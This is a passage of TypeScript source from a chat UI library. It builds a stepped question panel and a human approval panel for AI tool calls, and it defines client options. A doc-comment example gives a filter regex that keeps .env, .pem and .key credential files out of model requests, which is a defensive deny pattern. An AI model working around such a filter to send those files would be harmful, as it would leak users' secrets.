is untouched and the composer's send button still means\n // submit. Moving between questions is the chips' affordance, and only theirs.\n if (fields.length < 2 || cfg.getElicitationOptions().layout !== 'stepped') return api;\n\n panel.classList.add('aparte-elic-panel--stepped');\n let current = 0;\n\n /*\n * A scope for the ids below. Two stepped panels can share a document (the\n * workbench mounts two chats), and a duplicate id makes `aria-controls` point at\n * whichever one parsed first — so the relationship the role promises would be\n * wrong rather than merely missing.\n */\n const scope = `aparte-elic-${++steppedPanelSeq}`;\n const steps = el('div', 'aparte-tabs aparte-tabs--underline aparte-elic-steps');\n steps.setAttribute('role', 'tablist');\n const chips = fields.map((f, i) => {\n const chip = el('button', 'aparte-tabs__tab aparte-elic-step');\n chip.type = 'button';\n chip.setAttribute('role', 'tab');\n // The position when the model gave no short label: honest, and it never\n // truncates a sentence into nonsense.\n chip.textContent = f.header?.trim() || String(i + 1);\n // A chip is how you go BACK. Free navigation rather than a Previous\n // button: an answer you have already given is the thing you most want to\n // revisit, and hunting for a Back button to do it is the frustrating\n // half of every stepped form.\n chip.addEventListener('click', () => { show(i); f.field.focus(); });\n /*\n * The pattern's obligations, which this had announced and not kept: a tab\n * POINTS at its panel, the panel names the tab back, and a tablist is ONE tab\n * stop with arrows inside it rather than one stop per chip. Without them the\n * role told a screen-reader user to expect a relationship and a keyboard model\n * that were not there — worse than the plain buttons the chips actually were.\n */\n chip.id = `${scope}-tab-${i}`;\n f.field.el.id = `${scope}-panel-${i}`;\n f.field.el.setAttribute('role', 'tabpanel');\n f.field.el.setAttribute('aria-labelledby', chip.id);\n chip.setAttribute('aria-controls', f.field.el.id);\n chip.addEventListener('keydown', (e: KeyboardEvent) => {\n const step = e.key === 'ArrowRight' ? 1 : e.key === 'ArrowLeft' ? -1 : 0;\n let next = -1;\n if (step) next = (i + step + fields.length) % fields.length;\n else if (e.key === 'Home') next = 0;\n else if (e.key === 'End') next = fields.length - 1;\n if (next < 0) return;\n e.preventDefault();\n show(next);\n chips[next]?.focus();\n });\n steps.appendChild(chip);\n return chip;\n });\n // Above the scroll region rather than inside it: the chips are navigation.\n panel.insertBefore(steps, body);\n\n /*\n * There is no \"Next\", and that is the point.\n *\n * A stepped form usually grows a Next button, and this one did: which then\n * needed a disabled state, a hidden state on the last question, a row that\n * reserved its height so hiding it did not move the panel, and a rule about\n * whether it or the composer's send button was the real submit. Four rules to\n * support one button.\n *\n * The reference implementations do not have it. Clicking a tab is the\n * navigation — which is also how you go BACK, so one affordance does both —\n * and the only button is the submit. Removing it deleted every one of those\n * four rules with it.\n */\n function show(index: number): void {\n current = index;\n fields.forEach((f, i) => { f.field.el.hidden = i !== index; });\n syncNav();\n }\n\n syncNav = (): void => {\n chips.forEach((chip, i) => {\n chip.setAttribute('aria-selected', String(i === current));\n // The roving tab stop: Tab reaches the tablist once, arrows move within it.\n chip.tabIndex = i === current ? 0 : -1;\n // Answered, so a reader sees at a glance what is left — and with no\n // Next button this is the ONLY progress signal, along with the send\n // button staying disabled until every question has an answer. A check\n // mark, not only a colour: a colour is what the current chip also has.\n const answered = fields[i]!.field.isComplete();\n chip.toggleAttribute('data-answered', answered);\n const mark = chip.querySelector('.aparte-elic-step__mark');\n if (answered && !mark) {\n const glyph = el('span', 'aparte-elic-step__mark');\n glyph.setAttribute('aria-hidden', 'true');\n glyph.innerHTML = cfg.getIcon('check');\n chip.prepend(glyph);\n } else if (!answered && mark) {\n mark.remove();\n }\n });\n };\n\n show(0);\n // Same contract as the stacked form: the button means submit throughout and\n // needs every question answered. The chips are the only navigation — a\n // \"next\" on the composer's button was a second way to do what a chip does,\n // and a button that changes meaning under the pointer.\n return {\n ...api,\n focus: () => fields[current]?.field.focus(),\n };\n }\n\n // The single-field shape: the panel's message IS the question, so it names the\n // field. In the object shape each field carries its own title instead.\n //\n // The ONE place `settle` is handed out. A question asked on its own is one act,\n // so a choice here answers on the click; everything that still collects a value —\n // a multi-select, a text field, a choice carrying a `default` — ignores it and\n // keeps the composer's button, which is what `offersSubmit` reports back.\n // The host can withhold it (`answerOnClick: false`): then a single choice keeps\n // its radios and commits through the button like every other question — the\n // field builders see no `settle` at all, so nothing else has to know.\n const answerOnClick = contextConfig().getElicitationOptions().answerOnClick;\n const field = buildField(schema, onChange, asked, undefined, answerOnClick ? settle : undefined);\n body.appendChild(field.el);\n return {\n el: panel,\n dismiss,\n getContent: () => field.getValue(),\n isComplete: () => field.isComplete(),\n focus: () => field.focus(),\n mode: () => ((field.offersSubmit?.() ?? true) ? 'submit' : 'none'),\n canProceed: () => field.isComplete(),\n proceed: () => {},\n onSettle,\n };\n}\n","/**\n * buildApprovalPanel — the panel for a decision, as opposed to a value.\n *\n * A sibling of `buildElicitationPanel` rather than three more parameters on it, and\n * the split follows the contracts: that function's is \"a schema in, a value out\", and\n * an approval has no schema and returns no value. What they share is the composer\n * slot, which is the presenter's business, not the builder's.\n *\n * Two shapes it does NOT reuse, each for a reason:\n *\n * - Not radios plus the composer's send button. A question is one act with one\n * primary button, which is why the elicitation panel has no action row of its own.\n * A decision has two primary actions of OPPOSITE polarity, and one button cannot\n * carry both — so the options are buttons that settle on the first click.\n * Approving is the most frequent interaction in the whole feature; spending two\n * gestures on it to reuse a button would be the tail wagging the dog.\n * - Not a fixed Approve/Reject pair. The options arrive WITH the request, because\n * only the requester can write \"and always for git commands\" or know that this\n * workspace has somewhere to remember it.\n *\n * The composer's button is not idle: opening the instruction field hands it the\n * `'submit'` mode for that text, through the `setPanelSubmitEnabled` API that already\n * exists for the last question of a form.\n */\n\nimport type { AparteApprovalOption, AparteApprovalAnswer } from './types.js';\nimport { contextConfig } from '../config/config-context.js';\nimport { optionBody } from './panel.js';\n\n/** What the presenter drives. A superset of the question panel's useful half. */\nexport interface BuiltApprovalPanel {\n readonly el: HTMLElement;\n /** The corner escape — see `BuiltElicitationPanel.dismiss` for why a corner. */\n readonly dismiss: HTMLElement;\n /** Settled from inside the panel: an option was clicked. */\n onSettle(cb: (answer: AparteApprovalAnswer) => void): void;\n /** The instruction typed so far, for the composer's submit path. */\n getContent(): AparteApprovalAnswer;\n /** True once there is an instruction worth sending. */\n isComplete(): boolean;\n focus(): void;\n /** Re-apply every string taken from the locale, in place. */\n relabel(): void;\n}\n\n/** Ids for the arguments heading, so two panels on one page cannot share one. */\nlet labelSeq = 0;\n\nfunction el<K extends keyof HTMLElementTagNameMap>(tag: K, className?: string, text?: string): HTMLElementTagNameMap[K] {\n const node = document.createElement(tag);\n if (className) node.className = className;\n if (text != null) node.textContent = text;\n return node;\n}\n\n/** Ids for the question an approval's options point at. */\nlet askSeq = 0;\n\nexport function buildApprovalPanel(\n message: string | (() => string),\n options: readonly AparteApprovalOption[],\n onChange: () => void,\n details?: string,\n): BuiltApprovalPanel {\n const cfg = contextConfig();\n const panel = el('div', 'aparte-elic-panel aparte-approval-panel');\n // Everything but the corner goes in a body that SCROLLS, as the question panel's does.\n // The panel is capped at half the viewport and does not scroll itself, so with the\n // parts as its direct flex children the arguments — the shrinkable one — were what\n // gave way: 13px of a 30px block with three options in a 560px window. The thing\n // being approved is the last thing that may disappear.\n const body = el('div', 'aparte-elic-body');\n panel.appendChild(body);\n\n const askText = (): string => (typeof message === 'function' ? message() : message);\n // `textContent`, never innerHTML: the message names a tool the MODEL chose and can\n // carry its arguments. The string arm of a render hook is a model-to-DOM XSS.\n const ask = askText() ? el('p', 'aparte-elic-message', askText()) : null;\n if (ask) body.appendChild(ask);\n\n /*\n * What is being decided, under the question.\n *\n * The panel used to say \"Run delete_file?\" and stop there — the arguments, which\n * are the whole of what a person approves, sat in the transcript row behind a\n * closed disclosure. The guide had been promising the opposite (\"name and\n * arguments, since the arguments are what is being approved\") the entire time.\n *\n * A `<pre>` filled with `textContent`, never innerHTML: this is model-authored\n * text, on the one control in the library whose whole purpose is to stop a model\n * doing something. The sheet caps its height and lets it scroll, so a long input\n * cannot push the options off a panel that is already capped at half the viewport.\n *\n * A heading, because an unlabelled block of JSON under a question reads as part of\n * the question. `aria-labelledby` ties the two, so a screen reader announces the\n * region by the same word a sighted reader sees.\n */\n let argsLabel: HTMLElement | null = null;\n if (details) {\n argsLabel = el('div', 'aparte-approval-args-label', cfg.t('approvalArgsLabel'));\n argsLabel.id = 'aparte-approval-args-' + (++labelSeq);\n const pre = el('pre', 'aparte-approval-args');\n pre.textContent = details;\n pre.setAttribute('role', 'group');\n pre.setAttribute('aria-labelledby', argsLabel.id);\n // The block scrolls, and in WebKit a scrollable box that is not focusable\n // cannot be scrolled from the keyboard at all (the same defect the transcript\n // had). It sits BEFORE the options, and `focus()` still lands on the first\n // option, so approving stays one gesture and reading the call is Shift+Tab.\n pre.tabIndex = 0;\n body.append(argsLabel, pre);\n }\n\n const dismiss = el('div', 'aparte-elic-dismiss');\n panel.appendChild(dismiss);\n\n let settle: ((answer: AparteApprovalAnswer) => void) | null = null;\n let done = false;\n const fire = (answer: AparteApprovalAnswer): void => {\n if (done) return;\n done = true;\n settle?.(answer);\n };\n\n // ── the options ──────────────────────────────────────────────────────────\n const row = el('div', 'aparte-approval-options');\n row.setAttribute('role', 'group');\n row.setAttribute('aria-label', cfg.t('approvalOptionsLabel'));\n // The group's name says what it is; the question says what is being decided.\n if (ask) { ask.id ||= `aparte-approval-ask-${++askSeq}`; row.setAttribute('aria-describedby', ask.id); }\n /** Kept so `relabel` can reach each button and the label that owns it. */\n const labelled: Array<{ button: HTMLButtonElement; option: AparteApprovalOption }> = [];\n const textOf = (option: AparteApprovalOption): string =>\n typeof option.label === 'function' ? option.label() : option.label;\n const descriptionOf = (option: AparteApprovalOption): string | undefined =>\n typeof option.description === 'function' ? option.description() : option.description;\n /**\n * Label over description, the question panel's own body — so \"Always allow this\n * command\" can say `git status` under it and \"Always allow any git command\" can\n * say `git *`, which is the whole difference between the two.\n */\n const bodyOf = (option: AparteApprovalOption): HTMLElement => optionBody(textOf(option), descriptionOf(option));\n /*\n * The button recipe, and nothing else. An option used to carry a 2px coloured edge\n * down its inline start — green for affirm, red for deny — and that was custom CSS\n * doing a job the recipe already does: a coloured rule is an ALERT's vocabulary, not\n * a control's, and at 2px it read as an artefact rather than as a signal.\n *\n * Colouring the fills instead was measured and is no better. Solid success on the\n * dark palette gives 2.19:1 against its own label, which is unreadable, and tinting\n * every option puts two greens beside one red — the traffic light this stacked list\n * exists to avoid, on the highest-stakes control in the library. What separates the\n * options is their WORDING, which is the only thing that can distinguish \"Approve\"\n * from \"Approve, and always for this tool\" anyway.\n *\n * `--affirm` / `--deny` stay on the element and carry no CSS: they name the MEANING,\n * which is what a consumer restyling this panel selects on.\n */\n for (const option of options) {\n const tone = option.tone ?? 'affirm';\n const button = el('button', `aparte-btn aparte-btn--block aparte-btn--surface aparte-approval-option aparte-approval-option--${tone}`);\n button.type = 'button';\n button.appendChild(bodyOf(option));\n // First click settles. No confirm-then-submit: the decision IS the click.\n button.addEventListener('click', () => fire({ option: option.value }));\n row.appendChild(button);\n labelled.push({ button, option });\n }\n body.appendChild(row);\n\n // ── \"or tell it what to do instead\" ──────────────────────────────────────\n /*\n * A refusal that carries an instruction, which is possible at all only because a\n * refusal now hands the model a turn to read it in. Before that the sentence went\n * into a history nobody sent, so the user had to retype it as a message the model\n * then read out of order.\n *\n * It is a field and not an option because the host writes its options and this\n * text is the user's. It resolves through the COMPOSER's button rather than one of\n * its own — submitting written text is exactly the act that button already means.\n */\n const instruction = el('textarea', 'aparte-approval-instruction');\n instruction.rows = 1;\n instruction.placeholder = cfg.t('approvalInstructionPlaceholder');\n instruction.setAttribute('aria-label', cfg.t('approvalInstructionPlaceholder'));\n instruction.addEventListener('input', onChange);\n body.appendChild(instruction);\n\n const typed = (): string => instruction.value.trim();\n\n return {\n el: panel,\n dismiss,\n onSettle: (cb) => { settle = cb; },\n getContent: () => ({ instruction: typed() }),\n isComplete: () => typed().length > 0,\n focus: () => {\n // The first option, not the textarea: the common case is a decision, and\n // landing in a text box invites typing an answer to a yes/no question.\n panel.querySelector<HTMLButtonElement>('.aparte-approval-option')?.focus();\n },\n relabel: () => {\n const now = contextConfig();\n const label = now.t('approvalInstructionPlaceholder');\n instruction.placeholder = label;\n instruction.setAttribute('aria-label', label);\n row.setAttribute('aria-label', now.t('approvalOptionsLabel'));\n // The question, which was the half I left behind the first time.\n if (ask) ask.textContent = askText();\n if (argsLabel) argsLabel.textContent = now.t('approvalArgsLabel');\n // In place, per the relabel contract: the buttons keep their listeners and —\n // the part that matters — their FOCUS. This is the one control a keyboard\n // user may be sitting on when the language changes. The body is replaced,\n // the button is not.\n for (const { button, option } of labelled) button.replaceChildren(bodyOf(option));\n },\n };\n}\n","/**\n * Elicitation — public surface.\n *\n * `requestUserInput(req)` is the free-function entry a tool handler calls: it\n * resolves the config governing `req.target` (the instance the request belongs\n * to, or the global default) and delegates to that config's presenter. This is\n * what `ask_user` and tool-approval adapters use — they never touch window\n * events, so there is no stringly-typed contract to drift.\n */\n\nimport { resolveConfig } from '../config/config-context.js';\nimport type { AparteElicitationRequest, AparteElicitationResult } from './types.js';\n\nexport type {\n AparteElicitationSchema,\n AparteElicitationField,\n AparteElicitationEnumField,\n AparteElicitationBooleanField,\n AparteElicitationStringField,\n AparteElicitationObjectSchema,\n AparteElicitationRequest,\n AparteElicitationResult,\n AparteElicitationPresenter,\n AparteApprovalOption,\n AparteApprovalAnswer,\n} from './types.js';\n// A VALUE export: a consumer catching a failed request needs the constructor to test\n// against, not only its type. DOM-free, so the SSR barrel carries it too.\nexport { AparteElicitationAbortError } from './types.js';\nexport { buildElicitationPanel } from './panel.js';\nexport type { BuiltElicitationPanel } from './panel.js';\n// The decision panel's builder, public for the same reason its sibling is: someone\n// writing their own presenter should not have to rebuild the one core ships.\nexport { buildApprovalPanel } from './approval-panel.js';\nexport type { BuiltApprovalPanel } from './approval-panel.js';\n\n/**\n * Ask the user for typed input and await their response, on the config\n * governing `request.target` (its instance config, or the global default).\n *\n * Resolves `accept` with the value, or `decline` when the person declines. Rejects,\n * with no answer, with an {@link AparteElicitationAbortError} whose `reason` is\n * `'aborted'` (the turn was stopped, the signal fired, or another request took the\n * question away) or `'no-presenter'` (nothing is mounted to ask it): `await` it in a\n * `try`, or attach a `.catch()`.\n */\nexport function requestUserInput(request: AparteElicitationRequest): Promise<AparteElicitationResult> {\n return resolveConfig(request.target ?? null).requestUserInput(request);\n}\n","import { aparteGlobalConfig, AparteConfig } from '../config/aparte-config.js';\nimport { resolveConfig } from '../config/config-context.js';\nimport { runStreamAgent } from '@aparte/engine';\nimport type { StreamApprovalResolver, StreamDeferral, StreamDeferredCall, StreamDeferredOutcome } from '@aparte/engine';\n\nimport { registerDefaultRenderers, declineDefaultRenderers } from '../renderers/segment-renderers.js';\nimport { createStreamAdapter, readableToAsyncIterable } from './stream-adapter.js';\nimport { isOpenDeferred, wireTurns } from './wire-history.js';\nimport { dispatchLifecycleEvent } from './lifecycle-events.js';\nimport type { AparteStreamRunner, AparteStreamRunEmitter, StreamAdapterTarget } from './stream-adapter.js';\nimport type { AparteSegment, AparteStreamEvent, AparteMessage, AparteErrorSegment, AparteToolCallSegment } from '../types/index.js';\nimport type { AparteAIProvider } from '../types/model-provider.js';\nimport type { AparteToolCall, AparteTool, AparteApprovalRuling } from '../types/tools.js';\nimport { AparteChatRequest, AparteChatMessage, AparteContentPart, AparteUsage } from '../types/chat.js';\nimport { AparteError, AparteErrorCode } from '../types/errors.js';\nimport { filesToAttachments } from '../utils/files-to-attachments.js';\nimport { uuid } from '../utils/uuid.js';\nimport { eventOrigin, rootOf } from '../utils/event-target.js';\nimport { describeToolInput } from '../utils/tool-input.js';\nimport { requestUserInput } from '../elicitation/index.js';\n\n/**\n * The imperative surface AparteClient drives on a chat target element\n * (`<aparte-chat-viewport>` directly, or a framework host via AparteChatHost).\n * Every method is optional so a partial/mock target degrades gracefully — the\n * client always calls them through optional chaining. Mirrors the shape the\n * wrappers and `AparteChatHost` already conform to.\n */\n/** What one run of the loop reports back to its turn: its usage, and whether it paused. */\ninterface AparteRunResult {\n usage: AparteUsage | undefined;\n /** A server loop suspended on calls the page must answer, with its signed continuation. */\n suspended?: { pending: StreamDeferredCall[]; ticket?: string };\n}\n\ninterface AparteChatTargetElement extends HTMLElement {\n appendMessage?(message: AparteMessage): void;\n updateMessage?(id: string, updates: Partial<AparteMessage>): void;\n updateLastMessage?(content: string, options?: { append?: boolean }): void;\n addSegment?(segment: AparteSegment): void;\n updateSegment?(segmentId: string, updates: Partial<AparteSegment>): void;\n removeSegment?(segmentId: string): void;\n getMessages?(): AparteMessage[];\n /**\n * One message by id, from the whole TREE — unlike `getMessages()`, which returns only\n * the currently active path.\n *\n * The distinction is load-bearing rather than a convenience: a retry or an edit moves\n * the superseded reply off the active path while leaving it in the tree, so anything\n * that looks a message up by id through `getMessages()` silently fails to find one that\n * still exists. `_handleLifecycleError` did exactly that and destroyed it.\n */\n getMessage?(id: string): AparteMessage | undefined;\n addSiblingOf?(existingId: string, newMessage: AparteMessage): string | null;\n truncateFrom?(id: string): void;\n truncateResponsesAfter?(userMessageId: string): void;\n typeName?(text: string): void;\n}\n\n/**\n * Resolves a human-in-the-loop tool approval for a `needsApproval` tool call.\n * Resolves `{ approved, payload? }`; the `signal` aborts a pending decision.\n *\n * It receives the CALL, not just its id. You cannot ask a person \"run this?\" without\n * naming what — the built-in channel needs the tool's name for its question, and an\n * id alone forced a lookup table filled by one event and read by another, which is the\n * shape that breaks in silence.\n */\nexport type AparteToolApprovalResolver = (\n call: { id: string; name: string; input: Record<string, unknown> },\n signal: AbortSignal,\n) => Promise<{\n approved: boolean;\n payload?: unknown;\n /**\n * What the user said to do instead, on a refusal.\n *\n * It becomes the `tool` message the model reads, which is possible at all only\n * because a refusal hands the model a turn. Optional: a resolver that returns a\n * bare `{ approved }` is valid.\n */\n instruction?: string;\n /**\n * The refusal, verbatim, when nobody said anything — an approval policy that\n * refused on its own. Without it the model is told \"the user rejected this\",\n * which for a mode is a lie; with it, it reads the policy's own sentence.\n */\n reason?: string;\n}>;\n\n/** What a compaction summary goes out under, so the model reads it as context and not as the user's words. */\nconst COMPACTION_PREAMBLE =\n 'The earlier part of this conversation was compacted. This is a summary of what came before; continue from it.';\n\n/** What the model reads for a paused call that did not run because an earlier one of the same step was refused. */\nconst NOT_RUN_AFTER_A_REFUSAL = 'Not run: an earlier call of the same step was refused.';\n\n/** A call as an approval remembers it: the call itself, not its id alone, which a later call may reuse. */\nconst approvalKey = (call: { id: string; name: string; input: unknown }): string =>\n JSON.stringify([call.id, call.name, call.input]);\n\n/**\n * Configuration options for AparteClient\n */\nexport interface AparteClientOptions {\n /**\n * Function to resolve API keys for a given provider.\n * Can return a string (key) or a full configuration object.\n */\n keyResolver?: (providerId: string) => string | Record<string, string> | Promise<string | Record<string, string> | undefined | null> | undefined | null;\n\n /**\n * Custom human-in-the-loop approval resolver for tools marked\n * `needsApproval`. Without one, the gate asks at the composer through\n * `requestUserInput`, like every other request for the user. Inject this to\n * decide from the call itself — it receives `(call, signal)` — or to drive\n * approval from a headless source (CLI / webhook) with no DOM.\n *\n * It owns the WHOLE decision: with one injected, an `AparteApprovalPolicy`\n * registered through `setApprovalPolicy()` — and therefore\n * `@aparte/plugin-approval`'s modes — is not consulted at all, neither for the\n * gate nor for the answer, and the tool's own `needsApproval` decides which\n * calls reach this resolver. Rule on the call here, or drop this option and use\n * a policy; do not expect both.\n *\n * On a refusal it may return an `instruction` (the user's words) or a `reason`\n * (nobody spoke), which the model reads as the tool result.\n */\n approvalResolver?: AparteToolApprovalResolver;\n\n /**\n * The stream-loop runner. Default: `@aparte/engine`'s `runStreamAgent`, rendered\n * through the core adapter ({@link createStreamAdapter}). Set it to wrap that loop\n * — `(opts) => runStreamAgent({ ...opts, onHistoryAppend })` for a host that owns\n * its transcript — or to replace it with a loop of your own that emits the same\n * events. Same injection pattern as {@link approvalResolver}. See {@link AparteStreamRunner}.\n */\n streamRunner?: AparteStreamRunner;\n\n /**\n * Optional request interceptor to modify the chat request before sending.\n */\n requestInterceptor?: (request: AparteChatRequest) => AparteChatRequest | Promise<AparteChatRequest>;\n\n /**\n * Whether to register core's default segment renderers.\n *\n * Rarely needed either way: the built-ins install themselves the first time a\n * segment needs one, so leaving this alone just works. Set it to `false` to\n * keep them out entirely — a decision that is remembered, so nothing installs\n * them later; register your own with `registerSegmentRenderer`. Do it at\n * startup, before the first segment renders.\n * @default true\n */\n autoRegister?: boolean;\n\n /**\n * Conversation history strategy:\n * - 'viewport' (default) — sends every user/assistant turn up to the last answered\n * one. A turn that errored, or is still in flight\n * ('streaming' / 'pending'), is held back and does not move\n * that cutoff; a turn a host seeded with NO `status` counts\n * as answered, so a restored or server-rendered transcript\n * goes out as history without inventing a status for it.\n * - 'none' — sends only the current message\n * - function — custom: receives viewport messages, returns AparteChatMessage[]\n */\n history?: 'viewport' | 'none' | ((viewportMessages: AparteMessage[]) => AparteChatMessage[]);\n\n /**\n * Optional resolver that returns the host element exposing `appendMessage`.\n * Use this when the default event-bubble walk cannot reach the host\n * (e.g. Angular re-renders detach the input element mid-flight).\n *\n * @example\n * targetResolver: () => document.querySelector('aparte-chat')\n */\n targetResolver?: () => HTMLElement | null;\n\n /**\n * Scope this client to a specific target element id.\n * When set, the client will only handle `aparte-send`, `aparte-retry`, `aparte-edit`\n * and `aparte-abort` events whose `detail.targetId` matches this id.\n * This allows multiple AparteClient instances (one per conversation) to coexist\n * on the same page without interfering with each other.\n *\n * @example\n * // Two independent conversations:\n * new AparteClient({ scopeToTargetId: 'chat-left' }).start();\n * new AparteClient({ scopeToTargetId: 'chat-right' }).start();\n */\n scopeToTargetId?: string;\n\n /**\n * Maximum number of agentic tool-call loop turns before the loop is forcibly\n * stopped and an error segment is shown. Prevents infinite loops.\n * Individual tools can override this via `AparteTool.maxTurns`.\n * @default 10\n */\n maxTurns?: number;\n /**\n * Per-call ceiling (ms) for a tool handler to resolve before its signal is\n * aborted. Defaults to 5 minutes — the same default, and the same option name,\n * as `runStreamAgent`, so the value means one thing whichever loop runs.\n */\n toolTimeoutMs?: number;\n\n /**\n * Whether a send appends the optimistic USER bubble before the reply streams.\n *\n * Default `true` — and opt-OUT on purpose: if the host had to append the bubble,\n * whoever forgot would ship a chat where the person cannot see what they typed.\n * It compiles, it streams, and nothing errors.\n *\n * Pass `false` when the host owns its transcript and appends the user message\n * itself — the four framework wrappers do (their ConversationController is\n * that owner) and pass it. The wire cannot double either way: the history\n * builder already excludes trailing unanswered user messages.\n */\n echoUserMessage?: boolean;\n\n /**\n * Controls which files attached by the user are injected as raw content\n * parts in the LLM request.\n *\n * - `'all'` (default) — images as base64, text files as code-fenced text\n * - `'images-only'` — only images are injected; text/binary documents\n * are left for the application layer (e.g. a RAG pipeline) to handle\n * - `'none'` — no files are injected as content parts; ALL file\n * types (including images) are routed to the application layer. Used\n * when images go through a captioning pipeline before RAG ingest, so\n * the chat context only ever sees retrieved text — never raw image\n * bytes. Saves bytes on every turn.\n *\n * Set `'images-only'` when a `requestInterceptor` retrieves relevant\n * document chunks and injects them as a system message instead, to avoid\n * flooding the context window with full file contents.\n */\n rawFileInject?: 'all' | 'images-only' | 'none';\n\n /**\n * Per-file veto on top of {@link rawFileInject}: called for each file the\n * mode would inject; return `false` to keep that file out of the request.\n * The file still rides on the `aparte-send` event for the application\n * layer (upload, RAG). Use it to block sensitive names while keeping the\n * default inline UX:\n *\n * ```ts\n * fileInjectFilter: (f) => !/(^|\\.)env$|\\.(pem|key)$/i.test(f.name)\n * ```\n */\n fileInjectFilter?: (file: File) => boolean;\n\n /**\n * Config this client reads (providers, model selection, tools, system\n * prompt). Defaults to `aparteGlobalConfig`. Pass a host's\n * instance config when scoping a client to one chat among several\n * (pairs with `scopeToTargetId`).\n */\n config?: AparteConfig;\n}\n\n/**\n * Files `_filesToContentParts` has already announced — warn once per name, the idiom the\n * stream loop uses for an event it cannot map. Repeating it on every send is how a\n * warning gets muted, and the developer only needs to hear it once per attachment.\n */\nconst warnedUninlinedFiles = new Set<string>();\n\n/** What a chat looks like from outside: the shell, the viewport, or a host that says so. */\nconst CHAT_SELECTOR = 'aparte-chat, aparte-chat-viewport, [data-aparte-chat]';\n\n/**\n * Stands in for a provider the page does not have, when the turn's runner calls the model\n * somewhere else (a server loop, an AG-UI agent). It carries the id the page named, if\n * any, and fails clearly if anything still tries to call the model from the page.\n */\nfunction remoteProvider(id: string): AparteAIProvider {\n return {\n id,\n getMetadata: () => ({ id, name: id }),\n getModels: () => [],\n chat: async () => {\n throw new AparteError(\n 'This turn has no provider in the page. Register one, or use a runner that calls the model elsewhere (createAgentStreamRunner, an AG-UI runner).',\n AparteErrorCode.CONFIG_NO_PROVIDER,\n );\n },\n } as unknown as AparteAIProvider;\n}\n\n/**\n * AparteClient\n *\n * The \"Automatic Transmission\" for Aparte.\n * Connects the UI events (aparte-send) to the AI Providers (chat).\n * Handles:\n * - Listening to send events\n * - Resolving API keys\n * - Calling the appropriate Provider\n * - Streaming the response back to the UI\n * - Tool use: awaiting handlers and re-calling the provider\n *\n * @example\n * ```typescript\n * const client = new AparteClient({\n * keyResolver: (providerId) => process.env[providerId.toUpperCase() + '_KEY']\n * });\n * client.start();\n * ```\n */\nexport class AparteClient {\n private _boundHandler: ((e: Event) => void) | null = null;\n private _boundAbortHandler: (() => void) | null = null;\n private _boundLoadedHandler: ((e: Event) => void) | null = null;\n private _boundRetryHandler: ((e: Event) => void) | null = null;\n private _boundEditHandler: ((e: Event) => void) | null = null;\n private _releaseKeyResolver: (() => void) | null = null;\n private _isAborted = false;\n\n /**\n * Does this window event belong to this client?\n *\n * One rule for all the window-event handlers, so none of them can lack the guard:\n * in a two-client layout an unguarded event would make BOTH clients run — two paid\n * calls against whichever chat the DOM scan found first.\n *\n * A scoped client also answers only events ADDRESSED to it; an untargeted event is\n * not let through to every scoped client, or one broadcast would act on every chat\n * on the page.\n */\n private _isForThisInstance(e?: Event): boolean {\n // No event at all means a direct, programmatic call — not a broadcast, so\n // no addressing rule applies to it.\n if (!e) return true;\n const detail = (e as CustomEvent).detail as { targetId?: string } | undefined;\n\n const scope = this.options.scopeToTargetId;\n if (scope) return detail?.targetId === scope;\n\n /*\n * No `scopeToTargetId`, but a client given its own `config` is still not a\n * page-wide client: it must answer only the chats that resolve THAT config.\n *\n * Otherwise `{ config }` would scope what the client READ and nothing about\n * what it ANSWERED: two config-scoped clients on one page would both run a\n * full agentic turn for every send. `scopeToTargetId` is not the remedy for\n * a framework consumer — the wrappers generate the host id internally and do\n * not expose it.\n *\n * A client on the GLOBAL config is deliberately not narrowed: it answers\n * everything, which is every single-chat app.\n */\n if (this._config === aparteGlobalConfig) return true;\n const target = this._resolveTarget(detail?.targetId, e);\n if (!target) return true;\n const owner = resolveConfig(target);\n /*\n * Reject only a target that demonstrably belongs to ANOTHER instance — one\n * whose boundary resolves a different, non-global config.\n *\n * Not \"the target must resolve OUR config\", which is too strict: passing\n * `{ config }` without ever calling `attachConfig` is a legitimate shape —\n * the config as a settings bag for the one chat on the page. A chat with no\n * boundary is unclaimed, so answering it is correct.\n */\n return owner === this._config || owner === aparteGlobalConfig;\n }\n /** Aborts the in-flight vendor/transport fetch when the user stops a stream. */\n private _streamController: AbortController | null = null;\n\n private options: AparteClientOptions;\n /** Config read by this client — an instance config, or the global default. */\n private readonly _config: AparteConfig;\n\n /**\n * A `keyResolver` becomes a key source on the client's config at once, before `start()`,\n * so everything that needs a key can use it — the model selector's list included.\n * `autoRegister` (on by default) installs core's built-in renderers on that config.\n */\n constructor(options: AparteClientOptions = {}) {\n this.options = {\n autoRegister: true,\n ...options\n };\n this._config = options.config ?? aparteGlobalConfig;\n\n /*\n * The key channel this client was given becomes a key source on its CONFIG,\n * so everything that needs a key can see it — not the chat alone.\n *\n * `refreshProviderModels`, the model selector's one data path, reads\n * `config.getKey` only: without this, an app following the documented primary\n * channel (`keyResolver`) would get an empty picker on every cloud provider,\n * because `fetchModels` returns `[]` without a key, with no warning.\n *\n * Registered on the config rather than answered by the client, so the\n * capability stays reachable without one (decision #9).\n */\n this._registerKeyResolver();\n\n // Both take THIS client's config, not the global one. Segment renderers are\n // registered per config as of 0.8.0, so a client constructed with\n // `{ config }` must register — or decline — on that instance; otherwise\n // `autoRegister: false` on a scoped client silently muted the global chat\n // instead of its own.\n if (this.options.autoRegister) {\n registerDefaultRenderers(this._config);\n } else {\n // Explicit: keep core's built-ins out, including the lazy install the\n // bubble would otherwise do on first render.\n declineDefaultRenderers(this._config);\n }\n\n this._setupListeners();\n }\n\n /**\n * What every fresh user action does before it starts a turn.\n *\n * Clearing the abort flag happens at the START of the action rather than inside\n * `_streamTurn`, which runs after the auth and file-reading awaits — a reset there\n * would erase an abort that arrived while the user was still waiting for a large\n * attachment to be read.\n *\n * The superseded turn's TOOL handlers are not cancelled here, and do not need a\n * registry of their own: `_streamTurn` aborts the previous `_streamController`, and\n * the engine links every tool handler's controller to that run signal\n * (`invokeToolHandler`), so cutting the stream cuts its tools.\n */\n private _beginUserTurn(): void {\n this._isAborted = false;\n }\n\n /**\n * Put this client's `keyResolver` on its config, and hold the teardown so\n * `stop()` can take it back off.\n *\n * The teardown means a stopped client stops signing model-list requests, and a\n * remount — the way the wrappers document swapping options — replaces the source\n * instead of adding one behind it. Idempotent, so the usual\n * `new AparteClient({…}).start()` registers once.\n */\n private _registerKeyResolver(): void {\n if (this._releaseKeyResolver || !this.options.keyResolver) return;\n this._releaseKeyResolver = this._config.registerKeyProvider(this.options.keyResolver);\n }\n\n /**\n * Sets up the event listeners.\n * This is called once in the constructor.\n */\n private _setupListeners(): void {\n if (this._boundHandler) return; // Already set up\n\n this._boundHandler = (e: Event) => {\n const event = e 